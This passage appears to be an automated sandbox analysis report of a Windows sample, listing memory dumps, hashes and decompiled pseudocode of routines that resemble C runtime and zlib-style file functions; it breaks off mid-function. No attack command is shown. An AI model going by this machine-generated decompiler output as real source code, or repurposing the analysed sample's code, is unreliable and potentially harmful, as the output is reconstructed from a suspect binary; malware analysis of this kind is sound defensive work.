                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: HandleModule__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                        • String ID: @.B$KERNEL32.DLL
                                        • API String ID: 4021795732-2520587274
                                        • Opcode ID: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
                                        • Instruction ID: 0c9cf8b88dc62858ac3ed4b32f17b470c3945fe186f3cdf41460e27a39e65d9c
                                        • Opcode Fuzzy Hash: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
                                        • Instruction Fuzzy Hash: AB113371940701EED760AF75D800B9FBBE1AF04310F50852AE4DAA76A0CB749545AF58
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 004057B0, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 83%
                                        			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

































                                        0x004057b7
                                        0x004057bf
                                        0x004057c3
                                        0x004057c5
                                        0x004057cd
                                        0x004059c8
                                        0x004059ce
                                        0x004057db
                                        0x004057e3
                                        0x004057e5
                                        0x004057ea
                                        0x00405921
                                        0x0040592a
                                        0x004057f0
                                        0x004057f3
                                        0x004057f6
                                        0x004057f9
                                        0x004057fc
                                        0x004057ff
                                        0x00405801
                                        0x00405804
                                        0x00405807
                                        0x0040580a
                                        0x0040580d
                                        0x00405810
                                        0x00405813
                                        0x00405816
                                        0x00405819
                                        0x0040581c
                                        0x00405824
                                        0x00405827
                                        0x0040582b
                                        0x0040582e
                                        0x00405831
                                        0x00405834
                                        0x00405837
                                        0x00405837
                                        0x00405839
                                        0x0040583a
                                        0x00405842
                                        0x00405847
                                        0x0040584a
                                        0x0040584f
                                        0x0040591c
                                        0x0040591c
                                        0x00000000
                                        0x00405855
                                        0x00405855
                                        0x00405859
                                        0x0040585b
                                        0x00000000
                                        0x00405870
                                        0x00405872
                                        0x00405874
                                        0x00405874
                                        0x00405877
                                        0x0040587b
                                        0x00405881
                                        0x00405881
                                        0x00405885
                                        0x00405889
                                        0x00405897
                                        0x00405899
                                        0x004058a5
                                        0x004058a7
                                        0x004058b3
                                        0x004058b5
                                        0x004058c1
                                        0x004058c5
                                        0x004058c7
                                        0x004058c7
                                        0x004058c8
                                        0x004058b7
                                        0x004058b7
                                        0x004058b7
                                        0x004058a9
                                        0x004058a9
                                        0x004058a9
                                        0x0040589b
                                        0x0040589b
                                        0x0040589b
                                        0x0040588f
                                        0x00405892
                                        0x00405892
                                        0x004058cc
                                        0x004058cf
                                        0x00000000
                                        0x00000000
                                        0x004058d1
                                        0x004058d9
                                        0x00000000
                                        0x00000000
                                        0x004058db
                                        0x004058db
                                        0x004058e0
                                        0x00000000
                                        0x004058e2
                                        0x004058e4
                                        0x00405930
                                        0x0040593f
                                        0x00405942
                                        0x00405944
                                        0x00405949
                                        0x0040594c
                                        0x0040594e
                                        0x00000000
                                        0x00405950
                                        0x00405950
                                        0x00405953
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00405953
                                        0x004058e6
                                        0x004058ea
                                        0x004058ec
                                        0x004058f1
                                        0x004058f2
                                        0x004058f4
                                        0x004058f6
                                        0x004058f8
                                        0x004058f9
                                        0x00405904
                                        0x00405906
                                        0x0040590b
                                        0x0040590e
                                        0x00405911
                                        0x00405916
                                        0x00000000
                                        0x00405955
                                        0x00405955
                                        0x00405955
                                        0x00405961
                                        0x00405963
                                        0x00405967
                                        0x0040596d
                                        0x0040596e
                                        0x0040597c
                                        0x0040597d
                                        0x00405970
                                        0x00405970
                                        0x00405974
                                        0x00405975
                                        0x00405975
                                        0x00405985
                                        0x00405988
                                        0x0040598a
                                        0x00000000
                                        0x0040598c
                                        0x0040598c
                                        0x00405990
                                        0x004059a5
                                        0x004059ad
                                        0x004059b6
                                        0x004059b6
                                        0x004059b9
                                        0x004059c5
                                        0x00405992
                                        0x00405992
                                        0x004059a2
                                        0x004059a2
                                        0x00405990
                                        0x0040598a
                                        0x00405916
                                        0x004058e4
                                        0x00000000
                                        0x00405860
                                        0x00405860
                                        0x00405862
                                        0x00405864
                                        0x00405865
                                        0x00405868
                                        0x00000000
                                        0x0040586a
                                        0x0040586a
                                        0x0040586d
                                        0x00000000
                                        0x00405868
                                        0x0040584f
                                        0x004057ea
                                        0x00000000

                                        APIs
                                        • _malloc.LIBCMT ref: 004057DE
                                          • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                          • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                          • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                        • _malloc.LIBCMT ref: 00405842
                                        • _malloc.LIBCMT ref: 00405906
                                        • _malloc.LIBCMT ref: 00405930
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: _malloc$AllocateHeap
                                        • String ID: 1.2.3
                                        • API String ID: 680241177-2310465506
                                        • Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
                                        • Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
                                        • Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
                                        • Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02085A00, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
                                        Download Yara Rule
                                        APIs
                                        • _malloc.LIBCMT ref: 02085A2E
                                          • Part of subcall function 0208BA9D: __FF_MSGBANNER.LIBCMT ref: 0208BAC0
                                          • Part of subcall function 0208BA9D: __NMSG_WRITE.LIBCMT ref: 0208BAC7
                                        • _malloc.LIBCMT ref: 02085A92
                                        • _malloc.LIBCMT ref: 02085B56
                                        • _malloc.LIBCMT ref: 02085B80
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: _malloc
                                        • String ID: 1.2.3
                                        • API String ID: 1579825452-2310465506
                                        • Opcode ID: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
                                        • Instruction ID: 2c0682dd758fd1536243deaa0d8a3521e0994c981049092bfc982281ecb9b2b9
                                        • Opcode Fuzzy Hash: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
                                        • Instruction Fuzzy Hash: 8B61FDB0944B808FD731BF298CC06ABBFF1BB65214FD4492ED1DA87640E735A449AF52
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0040BCC2, Relevance: 10.7, APIs: 7, Instructions: 189COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 85%
                                        			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}





























                                        0x0040bcc2
                                        0x0040bcca
                                        0x0040bcce
                                        0x0040bcd3
                                        0x0040bcd5
                                        0x0040bcd8
                                        0x0040bcde
                                        0x0040bd01
                                        0x00000000
                                        0x0040bce5
                                        0x0040bce5
                                        0x0040bce7
                                        0x0040bd08
                                        0x0040bd0b
                                        0x0040bd0d
                                        0x0040bd1c
                                        0x0040bd1c
                                        0x0040bd1f
                                        0x0040bd24
                                        0x0040bd29
                                        0x0040bd29
                                        0x0040bd2c
                                        0x0040bd2e
                                        0x00000000
                                        0x0040bd30
                                        0x0040bd30
                                        0x0040bd35
                                        0x0040bd38
                                        0x0040bd3b
                                        0x00000000
                                        0x00000000
                                        0x0040bd3d
                                        0x0040bd40
                                        0x0040bd44
                                        0x0040bd4b
                                        0x0040bd4e
                                        0x0040bd50
                                        0x0040bd5a
                                        0x0040bd52
                                        0x0040bd55
                                        0x0040bd55
                                        0x0040bd61
                                        0x0040bd63
                                        0x0040be53
                                        0x00000000
                                        0x0040bd69
                                        0x0040bd69
                                        0x0040bd69
                                        0x0040bd70
                                        0x0040bdb6
                                        0x0040bdb6
                                        0x0040bdb9
                                        0x0040be24
                                        0x0040be2a
                                        0x0040be2d
                                        0x0040beb8
                                        0x00000000
                                        0x0040bebe
                                        0x0040be33
                                        0x0040be37
                                        0x0040be87
                                        0x0040be87
                                        0x0040be8b
                                        0x0040be95
                                        0x0040be9a
                                        0x0040be9a
                                        0x0040bea2
                                        0x0040beaa
                                        0x0040beab
                                        0x0040beac
                                        0x0040bead
                                        0x0040beae
                                        0x0040bcf9
                                        0x0040bcf9
                                        0x00000000
                                        0x0040bcfe
                                        0x0040be39
                                        0x0040be3c
                                        0x0040be3f
                                        0x0040be44
                                        0x0040be45
                                        0x0040be45
                                        0x0040be45
                                        0x0040be48
                                        0x00000000
                                        0x0040be48
                                        0x0040bdbb
                                        0x0040bdbf
                                        0x0040bde0
                                        0x0040bde5
                                        0x0040bde7
                                        0x0040bde9
                                        0x0040bde9
                                        0x0040bdc1
                                        0x0040bdc8
                                        0x0040bdca
                                        0x0040bdd7
                                        0x0040bdd7
                                        0x0040bdd7
                                        0x0040bdda
                                        0x0040bdcc
                                        0x0040bdce
                                        0x0040bdd1
                                        0x0040bdd1
                                        0x0040bddc
                                        0x0040bddc
                                        0x0040bdeb
                                        0x0040bdee
                                        0x00000000
                                        0x0040bdf4
                                        0x0040bdf4
                                        0x0040bdf5
                                        0x0040bdf9
                                        0x0040bdfe
                                        0x0040bdff
                                        0x0040be00
                                        0x0040be05
                                        0x0040be08
                                        0x0040be0a
                                        0x0040bec6
                                        0x00000000
                                        0x0040bec6
                                        0x0040be10
                                        0x0040be13
                                        0x0040beb4
                                        0x0040beb4
                                        0x0040beb4
                                        0x0040beb4
                                        0x00000000
                                        0x0040beb4
                                        0x0040be19
                                        0x0040be1c
                                        0x0040be1e
                                        0x00000000
                                        0x0040be1e
                                        0x0040bdee
                                        0x0040bd72
                                        0x0040bd75
                                        0x0040bd77
                                        0x00000000
                                        0x00000000
                                        0x0040bd79
                                        0x00000000
                                        0x00000000
                                        0x0040bd7f
                                        0x0040bd81
                                        0x0040bd83
                                        0x0040bd85
                                        0x0040bd85
                                        0x0040bd87
                                        0x0040bd8a
                                        0x0040be5b
                                        0x0040be5d
                                        0x0040be61
                                        0x0040be6a
                                        0x0040be6f
                                        0x0040be6f
                                        0x0040be72
                                        0x0040be77
                                        0x0040be78
                                        0x0040be79
                                        0x0040be7a
                                        0x0040be7b
                                        0x0040be81
                                        0x00000000
                                        0x0040bd90
                                        0x0040bd99
                                        0x0040bd9e
                                        0x0040bda1
                                        0x0040bda3
                                        0x0040bda6
                                        0x0040bda8
                                        0x0040bdab
                                        0x0040bdae
                                        0x0040bdae
                                        0x0040be4b
                                        0x0040be4b
                                        0x0040be4b
                                        0x00000000
                                        0x0040bd69
                                        0x0040bd63
                                        0x0040bd2e
                                        0x0040bd0f
                                        0x0040bd14
                                        0x0040bd14
                                        0x0040bd17
                                        0x0040bd1a
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040bd1a
                                        0x0040bce9
                                        0x0040bce9
                                        0x0040bcee
                                        0x0040bcef
                                        0x0040bcf0
                                        0x0040bcf1
                                        0x0040bcf2
                                        0x0040bcf8
                                        0x00000000
                                        0x0040bcf8

                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                        • String ID:
                                        • API String ID: 3886058894-0
                                        • Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                        • Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
                                        • Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                        • Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0208BF12, Relevance: 10.7, APIs: 7, Instructions: 189COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                        • String ID:
                                        • API String ID: 3886058894-0
                                        • Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                        • Instruction ID: 4265faa5f2758ddeca08e4fd571bac8a4b4b16c97d0765eab8a98998f754fb42
                                        • Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                        • Instruction Fuzzy Hash: 06510670900304EFDF25BFB9C88459FBBB5EF41368F14822AF8A596191D7319A51EF60
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0208C98D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: __fileno$__getptd_noexit__lock_file
                                        • String ID: 'B
                                        • API String ID: 3755561058-2787509829
                                        • Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                        • Instruction ID: b42792778b715438b20236364e69242e512e88e5e545b92649788b297ed953d8
                                        • Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                        • Instruction Fuzzy Hash: B801AB2310471057E216B73C5C496BF77B18E82B303A64346E1E09B1E0DB28D642BEA1
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A4179, Relevance: 8.9, Strings: 7, Instructions: 115COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: ,~$k$,~$k$,~$k$,~$k$,~$k$,~$k$,~$k
                                        • API String ID: 0-1759095020
                                        • Opcode ID: c5b9832a9110227af9a24a702a0c3d609b7acf4ea040116e598eb79305ead17c
                                        • Instruction ID: 4ed5e3f9fe8780973df548ea1af97827aa60fb3890122fe9ce58f692ba2db6b3
                                        • Opcode Fuzzy Hash: c5b9832a9110227af9a24a702a0c3d609b7acf4ea040116e598eb79305ead17c
                                        • Instruction Fuzzy Hash: B53108347040445BD7087731E9A4A7EB297DBC9298F15492DC6028B7A8CF795C4B3762
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A45B1, Relevance: 8.9, Strings: 7, Instructions: 112COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: ,~$k$,~$k$,~$k$,~$k$,~$k$,~$k$,~$k
                                        • API String ID: 0-1759095020
                                        • Opcode ID: 8fc1b9a7cce9006c8c14da8ca9c10062aa546f45cdd4077107837bde096c50d8
                                        • Instruction ID: ec53c02c00224bbed2e6502c026c043d30c6331a9120bf49a4a6b4d2395455db
                                        • Opcode Fuzzy Hash: 8fc1b9a7cce9006c8c14da8ca9c10062aa546f45cdd4077107837bde096c50d8
                                        • Instruction Fuzzy Hash: 7B3195347041845BD7087735D8A0A7EB29BDBC9298F154D2AC5028B7A8CF355C4B77A2
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00414738, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 90%
                                        			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
